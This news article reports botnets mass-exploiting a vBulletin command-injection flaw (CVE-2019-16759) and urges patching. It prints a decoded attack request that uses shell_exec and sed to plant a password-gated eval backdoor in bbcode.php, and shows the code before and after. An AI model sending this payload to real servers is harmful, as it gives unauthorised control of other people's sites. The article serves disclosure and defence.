Attackers are mass-exploiting an anonymously disclosed vulnerability that makes it possible to take control of servers running vBulletin, one of the Internet’s most popular applications for website comments. Sites running the app should take comments offline until administrators install a patch that vBulletin developers released late Wednesday morning.
The vulnerability was disclosed through an 18-line exploit that was published on Monday by an unidentified person. The exploit allows unauthenticated attackers to remotely execute malicious code on just about any vBulletin server running versions 5.0.0 up to 5.5.4. The vulnerability is so severe and easy to exploit that some critics have described it as a back door.
“Essentially, any attack exploits a super simple command injection,” Ryan Seguin, a research engineer at Tenable, told Ars. “An attacker sends the payload, vBulletin then runs the command, and it responds back to the attacker with whatever they asked for. If an attacker issues a shell command as part of the injection, vBulletin will run Linux commands on its host with whatever user permissions vBulletins' system-level user account has access to.” Seguin has more in this technical analysis of the vulnerability.
According to researcher Troy Mursch of the Bad Packets security intelligence service, attackers are using botnets to actively exploit vulnerable servers. After decoding, some of the Web requests they send look like this:
"widgetConfig[code]=echo shell_exec('sed -i \'s/eval(\$code);/if (isset(\$_REQUEST[\"epass\"]) \&\& \$_REQUEST[\"epass\"] == \"2dmfrb28nu3c6s9j\") { eval(\$code); }/g\' includes/vb5/frontend/controller/bbcode.php && echo -n exploited | md5sum'); exit;"
Prior to the malicious Web request, code in a section of vBulletin called
includes/vb5/frontend/controller/bbcode.php
looked like this:
function evalCode($code)
{
ob_start();
eval($code);
$output = ob_get_contents();
ob_end_clean();
return $output;
}
After the Web request has been sent, the same section is changed to this:
function evalCode($code)
{
ob_start();
if (isset($_REQUEST["epass"]) && $_REQUEST["epass"] == "2dmfrb28nu3c6s9j") { eval($code); }
$output = ob_get_contents();
ob_end_clean();
return $output;
}
Mursch told Ars:
The exploit above modifies
includes/vb5/frontend/controller/bbcode.phpvia the "sed" command to add a backdoor to the code. This is done by setting a “password” (epass) of 2dmfrb28nu3c6s9j. By doing this, the compromised site will only execute code in the eval function if 2dmfrb28nu3c6s9j is set in future requests sent to the server. This would allow a botnet command-and-control (C2) server to exclusively exploit CVE-2019-16759 and issue commands to the targeted site.
The vulnerability itself has been regarded by some as a backdoor. This exploit attempt basically backdoors sites via a backdoor. As for why threat actors are doing this, it's likely to build an inventory of bots while they figure additional ways to exploit the compromised hosts – such as infecting them with DDoS malware and conducting denial-of-service attacks.
Some of the infected computers carrying out the attacks have been spotted in the past using the EternalBlue exploit, developed by and later stolen from the National Security Agency, to compromise computers that have yet to install a patch Microsoft released in early 2017.
Loading comments...
